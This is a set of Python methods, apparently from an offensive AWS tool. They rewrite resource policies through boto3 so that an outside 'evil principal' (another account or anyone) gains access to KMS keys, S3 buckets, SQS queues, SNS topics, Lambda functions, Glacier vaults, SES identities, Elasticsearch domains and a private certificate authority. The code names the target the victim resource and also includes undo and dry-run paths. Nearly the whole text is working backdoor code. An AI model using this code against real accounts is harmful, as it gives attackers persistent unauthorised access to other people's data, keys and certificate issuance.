def undo(self, evil_principal: str, dry_run: bool = False) -> ResponseMessage: logger.debug(f"Removing {evil_principal} from {self.arn}") new_policy = constants.get_empty_policy() operation = "UNDO" if not dry_run: # TODO: After you delete the policy, it still shows up in resource shares. Need to delete that. # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/acm-pca.html#ACMPCA.Client.delete_policy # TODO: Error handling for setting policy try: self.client.delete_policy(ResourceArn=self.arn) message = f"Deleted the resource policy for {self.arn}" success = True except botocore.exceptions.ClientError as error: success = False message = error logger.critical( f"Operation was not successful for {self.service} {self.resource_type} " f"{self.name}. %s" % error) else: message = f"The resource policy for {self.arn} will be deleted." success = True response_message = ResponseMessage( message=message, operation=operation, success=success, evil_principal=evil_principal, victim_resource_arn=self.arn, original_policy=self.original_policy, updated_policy=new_policy, resource_type=self.resource_type, resource_name=self.name, service=self.service) return response_message
def undo(self, evil_principal: str, dry_run: bool = False) -> ResponseMessage: """Remove all traces""" logger.debug(f"Removing {evil_principal} from {self.arn}") policy_stripped = self.policy_document.policy_minus_evil_principal( victim_account_id=self.current_account_id, evil_principal=evil_principal, resource_arn=self.arn) if not dry_run: operation = "UNDO" set_rbp_response = self.set_rbp(evil_policy=policy_stripped) message = set_rbp_response.message success = set_rbp_response.success else: operation = "DRY_RUN_UNDO" message = "DRY_RUN_UNDO" success = True response_message = ResponseMessage( message=message, operation=operation, success=success, evil_principal=evil_principal, victim_resource_arn=self.arn, original_policy=self.original_policy, updated_policy=policy_stripped, resource_type=self.resource_type, resource_name=self.name, service=self.service) return response_message
def undo(self, evil_principal: str, dry_run: bool = False) -> ResponseMessage: """Wraps client.remove_permission""" logger.debug(f"Removing {evil_principal} from {self.arn}") new_policy = constants.get_empty_policy() operation = "UNDO" message = "404: No backdoor statement found" success = False for statement in self.policy_document.statements: if statement.sid == constants.SID_SIGNATURE: if not dry_run: # TODO: Error handling for setting policy self.client.remove_permission( QueueUrl=self.queue_url, Label=statement.sid, ) message = f"200: Removed backdoor statement from the resource policy attached to {self.arn}" success = True break else: new_policy["Statement"].append(json.loads(statement.__str__())) response_message = ResponseMessage( message=message, operation=operation, evil_principal=evil_principal, victim_resource_arn=self.arn, original_policy=self.original_policy, updated_policy=new_policy, resource_type=self.resource_type, resource_name=self.name, service=self.service, success=success) return response_message
def undo(self, evil_principal: str, dry_run: bool = False) -> ResponseMessage: """Wraps client.delete_identity_policy""" logger.debug(f"Removing {evil_principal} from {self.arn}") new_policy = { "Version": "2012-10-17", "Statement": [] } # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ses.html#SES.Client.delete_identity_policy operation = "UNDO" # Update the list of identity policies success = True if constants.SID_SIGNATURE in self._identity_policy_names(): if not dry_run: try: self.client.delete_identity_policy( Identity=self.name, PolicyName=constants.SID_SIGNATURE ) message = f"200: Removed identity policy called {constants.SID_SIGNATURE} for identity {self.name}" success = True except botocore.exceptions.ClientError as error: success = False message = error logger.critical(f"Operation was not successful for {self.service} {self.resource_type} " f"{self.name}. %s" % error) else: message = f"202: Dry run: will remove identity policy called {constants.SID_SIGNATURE} for identity {self.name}" else: message = f"404: There is no policy titled {constants.SID_SIGNATURE} attached to {self.name}" response_message = ResponseMessage(message=message, operation=operation, success=success, evil_principal=evil_principal, victim_resource_arn=self.arn, original_policy=self.original_policy, updated_policy=new_policy, resource_type=self.resource_type, resource_name=self.name, service=self.service) return response_message
def undo(self, evil_principal: str, dry_run: bool = False) -> ResponseMessage: """Wraps client.remove_permission""" logger.debug(f"Removing {evil_principal} from {self.arn}") new_policy = constants.get_empty_policy() operation = "UNDO" message = "404: No backdoor statement found" success = True for statement in self.policy_document.statements: if statement.sid == constants.SID_SIGNATURE: if not dry_run: try: self.client.remove_permission( FunctionName=self.name, StatementId=statement.sid, ) message = f"200: Removed backdoor statement from the resource policy attached to {self.arn}" success = True except botocore.exceptions.ClientError as error: success = False logger.critical(f"Operation was not successful for {self.service} {self.resource_type} " f"{self.name}. %s" % error) else: new_policy["Statement"].append(json.loads(statement.__str__())) response_message = ResponseMessage(message=message, operation=operation, success=success, evil_principal=evil_principal, victim_resource_arn=self.arn, original_policy=self.original_policy, updated_policy=new_policy, resource_type=self.resource_type, resource_name=self.name, service=self.service) return response_message
def set_rbp(self, evil_policy: dict) -> ResponseMessage: # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/kms.html#KMS.Client.put_key_policy new_policy = json.dumps(evil_policy) logger.debug("Setting resource policy for %s" % self.arn) try: self.client.put_key_policy(KeyId=self.name, PolicyName="default", Policy=new_policy) message = "success" success = True except botocore.exceptions.ClientError as error: message = str(error) logger.critical(error) success = False response_message = ResponseMessage( message=message, operation="set_rbp", success=success, evil_principal="", victim_resource_arn=self.arn, original_policy=self.original_policy, updated_policy=evil_policy, resource_type=self.resource_type, resource_name=self.name, service=self.service) return response_message
def set_rbp(self, evil_policy: dict) -> ResponseMessage: logger.debug("Setting resource policy for %s" % self.arn) new_policy_document = PolicyDocument( policy=evil_policy, service=self.service, override_action=self.override_action, include_resource_block=self.include_resource_block, override_resource_block=self.override_resource_block, override_account_id_instead_of_principal=self. override_account_id_instead_of_principal, ) new_policy_json = {"Version": "2012-10-17", "Statement": []} current_sids = get_sid_names_with_error_handling(self.original_policy) success = True try: for statement in new_policy_document.statements: if statement.sid not in current_sids: if ":" in statement.aws_principals[0]: account_id = get_account_from_arn( statement.aws_principals[0]) principal = f"arn:aws:iam::{account_id}:root" elif "*" == statement.aws_principals[0]: principal = "*" else: principal = statement.aws_principals[0] try: self.client.add_layer_version_permission( LayerName=self.arn_without_version, VersionNumber=self.version, StatementId=statement.sid, Action="lambda:GetLayerVersion", Principal=principal, ) except botocore.exceptions.ClientError as error: success = False logger.critical( f"Operation was not successful for {self.service} {self.resource_type} " f"{self.name}. %s" % error) new_policy_json["Statement"].append( json.loads(statement.__str__())) message = "success" except botocore.exceptions.ClientError as error: message = str(error) success = False policy_document = self._get_rbp().policy_document response_message = ResponseMessage( message=message, operation="set_rbp", success=success, evil_principal="", victim_resource_arn=self.arn, original_policy=self.original_policy, updated_policy=policy_document.json, resource_type=self.resource_type, resource_name=self.name, service=self.service) return response_message
def set_rbp(self, evil_policy: dict) -> ResponseMessage: new_policy = json.dumps(evil_policy) logger.debug("Setting resource policy for %s" % self.arn) try: # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/es.html#ElasticsearchService.Client.update_elasticsearch_domain_config self.client.update_elasticsearch_domain_config(DomainName=self.name, AccessPolicies=new_policy) message = "success" success = True except botocore.exceptions.ClientError as error: message = str(error) success = False response_message = ResponseMessage(message=message, operation="set_rbp", success=success, evil_principal="", victim_resource_arn=self.arn, original_policy=self.original_policy, updated_policy=evil_policy, resource_type=self.resource_type, resource_name=self.name, service=self.service) return response_message
def set_rbp(self, evil_policy: dict) -> ResponseMessage: logger.debug("Setting resource policy for %s" % self.arn) new_policy = json.dumps(evil_policy) try: self.client.put_identity_policy(Identity=self.arn, PolicyName=constants.SID_SIGNATURE, Policy=new_policy) # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ses.html#SES.Client.put_identity_policy message = "success" success = True except botocore.exceptions.ClientError as error: message = str(error) success = False response_message = ResponseMessage(message=message, operation="set_rbp", success=success, evil_principal="", victim_resource_arn=self.arn, original_policy=self.original_policy, updated_policy=evil_policy, resource_type=self.resource_type, resource_name=self.name, service=self.service) return response_message
def set_rbp(self, evil_policy: dict) -> ResponseMessage: logger.debug("Setting resource policy for %s" % self.arn) new_policy_document = PolicyDocument( policy=evil_policy, service=self.service, override_action=self.override_action, include_resource_block=self.include_resource_block, override_resource_block=self.override_resource_block, override_account_id_instead_of_principal=self. override_account_id_instead_of_principal, ) new_policy_json = {"Version": "2012-10-17", "Statement": []} current_sids = get_sid_names_with_error_handling(self.original_policy) try: for statement in new_policy_document.statements: if statement.sid not in current_sids: account_ids = [] for principal in statement.aws_principals: if ":" in principal: account_ids.append(get_account_from_arn(principal)) self.client.add_permission( QueueUrl=self.queue_url, Label=statement.sid, AWSAccountIds=account_ids, Actions=self.sqs_actions_without_prefixes( statement.actions)) else: new_policy_json["Statement"].append( json.loads(statement.__str__())) message = "success" success = True except botocore.exceptions.ClientError as error: message = str(error) success = False get_rbp_response = self._get_rbp() response_message = ResponseMessage( message=message, operation="set_rbp", success=success, evil_principal="", victim_resource_arn=self.arn, original_policy=self.original_policy, updated_policy=get_rbp_response.policy_document.json, resource_type=self.resource_type, resource_name=self.name, service=self.service) return response_message
def set_rbp(self, evil_policy: dict) -> ResponseMessage: logger.debug("Setting resource policy for %s" % self.arn) new_policy_document = PolicyDocument( policy=evil_policy, service=self.service, override_action=self.override_action, include_resource_block=self.include_resource_block, override_resource_block=self.override_resource_block, override_account_id_instead_of_principal=self. override_account_id_instead_of_principal, ) new_policy_json = {"Version": "2012-10-17", "Statement": []} current_sids = get_sid_names_with_error_handling(self.original_policy) try: for statement in new_policy_document.statements: if statement.sid not in current_sids: self.client.add_permission( TopicArn=self.arn, Label=statement.sid, ActionName=self.sns_actions_without_prefixes( statement.actions), AWSAccountId=statement.aws_principals, ) new_policy_json["Statement"].append( json.loads(statement.__str__())) message = "success" success = True except botocore.exceptions.ClientError as error: message = str(error) success = False logger.critical( f"Operation was not successful for {self.service} {self.resource_type} " f"{self.name}. %s" % error) get_rbp_response = self._get_rbp() response_message = ResponseMessage( message=message, operation="set_rbp", success=success, evil_principal="", victim_resource_arn=self.arn, original_policy=self.original_policy, updated_policy=get_rbp_response.policy_document.json, resource_type=self.resource_type, resource_name=self.name, service=self.service) return response_message
def set_rbp(self, evil_policy: dict) -> ResponseMessage: logger.debug("Setting resource policy for %s" % self.arn) new_policy = json.dumps(evil_policy) try: self.client.put_bucket_policy(Bucket=self.name, Policy=new_policy) message = "success" success = True except botocore.exceptions.ClientError as error: message = str(error) success = False response_message = ResponseMessage( message=message, operation="set_rbp", success=success, evil_principal="", victim_resource_arn=self.arn, original_policy=self.original_policy, updated_policy=evil_policy, resource_type=self.resource_type, resource_name=self.name, service=self.service) return response_message
def set_rbp(self, evil_policy: dict) -> ResponseMessage: new_policy = json.dumps(evil_policy) # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/acm-pca.html#ACMPCA.Client.put_policy try: self.client.put_policy(ResourceArn=self.arn, Policy=new_policy) message = "success" success = True except botocore.exceptions.ClientError as error: message = str(error) success = False response_message = ResponseMessage( message=message, operation="set_rbp", success=success, evil_principal="", victim_resource_arn=self.arn, original_policy=self.original_policy, updated_policy=evil_policy, resource_type=self.resource_type, resource_name=self.name, service=self.service) return response_message
def set_rbp(self, evil_policy: dict) -> ResponseMessage: logger.debug("Setting resource policy for %s" % self.arn) new_policy = json.dumps(evil_policy) try: # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/glacier.html#Glacier.Client.set_vault_access_policy self.client.set_vault_access_policy(vaultName=self.name, policy={"Policy": new_policy}) message = "success" success = True except botocore.exceptions.ClientError as error: message = str(error) success = False response_message = ResponseMessage( message=message, operation="set_rbp", success=success, evil_principal="", victim_resource_arn=self.arn, original_policy=self.original_policy, updated_policy=evil_policy, resource_type=self.resource_type, resource_name=self.name, service=self.service) return response_message
def add_myself(self, evil_principal: str, dry_run: bool = False) -> ResponseMessage: """Add your rogue principal to the AWS resource""" logger.debug(f"Adding {evil_principal} to {self.arn}") evil_policy = self.policy_document.policy_plus_evil_principal( victim_account_id=self.current_account_id, evil_principal=evil_principal, resource_arn=self.arn) if not dry_run: set_rbp_response = self.set_rbp(evil_policy=evil_policy) operation = "ADD_MYSELF" message = set_rbp_response.message success = set_rbp_response.success else: # new_policy = evil_policy operation = "DRY_RUN_ADD_MYSELF" message = "DRY_RUN_ADD_MYSELF" try: tmp = self._get_rbp() success = tmp.success except botocore.exceptions.ClientError as error: message = str(error) success = False response_message = ResponseMessage( message=message, operation=operation, success=success, evil_principal=evil_principal, victim_resource_arn=self.arn, original_policy=self.original_policy, updated_policy=evil_policy, resource_type=self.resource_type, resource_name=self.name, service=self.service) return response_message
def add_myself(self, evil_principal: str, dry_run: bool = False) -> ResponseMessage: """Add your rogue principal to the AWS resource""" logger.debug(f"Adding {evil_principal} to {self.arn}") # Case: principal = "arn:aws:iam::999988887777:user/mwahahaha" if ":" in evil_principal: evil_principal_account = get_account_from_arn(evil_principal) # Case: Principal = * or Principal = 999988887777 else: evil_principal_account = evil_principal evil_policy = { "Version": "2012-10-17", "Statement": [{ "Sid": "1", "Effect": "Allow", "Principal": { "AWS": evil_principal_account }, "Action": [ "acm-pca:DescribeCertificateAuthority", "acm-pca:GetCertificate", "acm-pca:GetCertificateAuthorityCertificate", "acm-pca:ListPermissions", "acm-pca:ListTags" ], "Resource": self.arn }, { "Sid": "1", "Effect": "Allow", "Principal": { "AWS": evil_principal_account }, "Action": ["acm-pca:IssueCertificate"], "Resource": self.arn, "Condition": { "StringEquals": { "acm-pca:TemplateArn": "arn:aws:acm-pca:::template/EndEntityCertificate/V1" } } }] } if dry_run: operation = "DRY_RUN_ADD_MYSELF" message = operation tmp = self._get_rbp() success = tmp.success else: operation = "ADD_MYSELF" self.undo(evil_principal=evil_principal) set_rbp_response = self.set_rbp(evil_policy=evil_policy) success = set_rbp_response.success message = set_rbp_response.message response_message = ResponseMessage( message=message, operation=operation, success=success, evil_principal=evil_principal, victim_resource_arn=self.arn, original_policy=self.original_policy, updated_policy=evil_policy, resource_type=self.resource_type, resource_name=self.name, service=self.service) return response_message